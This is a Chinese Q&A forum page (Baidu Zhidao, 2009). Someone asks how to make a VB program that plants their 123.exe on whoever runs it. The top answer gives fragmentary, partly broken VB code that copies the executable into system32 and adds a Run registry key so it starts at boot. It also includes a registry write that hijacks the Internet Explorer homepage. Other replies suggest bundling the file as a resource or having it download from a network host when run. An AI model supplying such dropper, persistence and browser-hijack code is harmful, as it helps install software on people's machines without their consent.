我想用VB编一个程序,运行后把123.exe(我的硬盘上才有)复制到运行那个人的电脑上

怎样编?一楼和二楼的大哥们这怎么做啊?... 怎样编?
一楼和二楼的大哥们这怎么做啊?
展开
 我来答
杨余龙
2009-01-17 · TA获得超过164个赞
知道小有建树答主
回答量:431
采纳率:50%
帮助的人:99.5万
展开全部
'--------------------------复制到系统并且开机自启动---

App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\system32\123.exe"

,Dim hKey As Long, SubKey As String, Exe As String
'SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
'Exe = ("C:\WINDOWS\system32\123.exe")
' RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
' RegSetValueEx hKey, "123", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
' RegCloseKey hKey
'----------------------------------------
'---------------------修改主页--
' 'RegCreateKey 'HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", hKey
' RegSetValueEx hKey, "Start Page", 0, REG_SZ, 'ByVal "http://www.hi.baidu.com/sn2007", 30
'-------------------------------

FileCopy("源文件名","目标文件名")
两个参数都是必选的,且都包含路径。
在VB中filecopy函数可以直接调用。而CopyFile函数则不能要先定义filesystemobject变量,然后才能用。有过copyFile比fileCopy的功能有所不同。
FileCopy是单个文件的copy,目标文件名可以和源文件名不同,也就是说Copy文件时可以重新命名。
CopyFile是把一个目录下的所有文件copy到另一个目录下,不过不copy目录,要copy目录的话,要用copyFolder.

例如:
filecopy "D:\abc.txt","D:\aa\cc.txt"

文件abc.txt 被Copy到d:\aa中时,被重命名为cc.txt.
相对路径在引号前面加上"app.path &"(引号除外)
例如:
filecopy app.path & "abc.txt",app.path & "aa\cc.txt"
同一路径的文件文件abc.txt 被Copy到同一路径aa中时,被重命名为cc.txt
centiare
2009-01-17 · TA获得超过235个赞
知道小有建树答主
回答量:470
采纳率:0%
帮助的人:0
展开全部
思路:1.把这程序放网络硬盘上,记下下载地址,当那个人运行的时候程序自动打开那个下载地址并开始下载。
2.把这个程序放到你要写的那个程序里面。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
百度网友2101fd52c
2009-01-17 · TA获得超过482个赞
知道小有建树答主
回答量:383
采纳率:0%
帮助的人:351万
展开全部
你可以把那个exe文件作为资源集合到你的要运行的文件中
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
hoyogoo
2009-01-17 · TA获得超过177个赞
知道小有建树答主
回答量:209
采纳率:0%
帮助的人:185万
展开全部
如果你把这个exe文件放在网络服务器上还可以。
现在在歌厅唱歌,回家了给你写写。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
zhao_yongqiang
2009-01-17 · 超过13用户采纳过TA的回答
知道答主
回答量:132
采纳率:0%
帮助的人:39.6万
展开全部
除非你把它放到网络上,然后再从网络上传过去。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(3)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式